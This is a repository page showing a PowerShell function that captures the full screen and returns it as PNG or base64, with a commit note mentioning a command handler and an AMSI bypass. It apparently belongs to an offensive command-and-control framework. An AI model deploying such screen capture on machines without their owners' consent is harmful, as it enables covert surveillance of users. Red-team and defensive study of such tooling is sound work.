Files
benpturner 14fd715d3e Updated get-screenshot & get-screenshot-allwindows PS command handler
Updated amsi bypass
Fixed screenshot-allwindows
Multi-Screenshot Typo
2024-09-02 16:57:58 +01:00

22 lines
721 B
PowerShell

Function Get-Screenshot
{
param($File)
Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$Width = $Screen.Width
$Height = $Screen.Height
$Left = $Screen.Left
$Top = $Screen.Top
$bitmap = New-Object System.Drawing.Bitmap $Width, $Height
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
$msimage = New-Object IO.MemoryStream
if ($File) {
$bitmap.save($file, "png")
} else {
$bitmap.save($msimage, "png")
$b64 = [Convert]::ToBase64String($msimage.toarray())
}
return $b64
}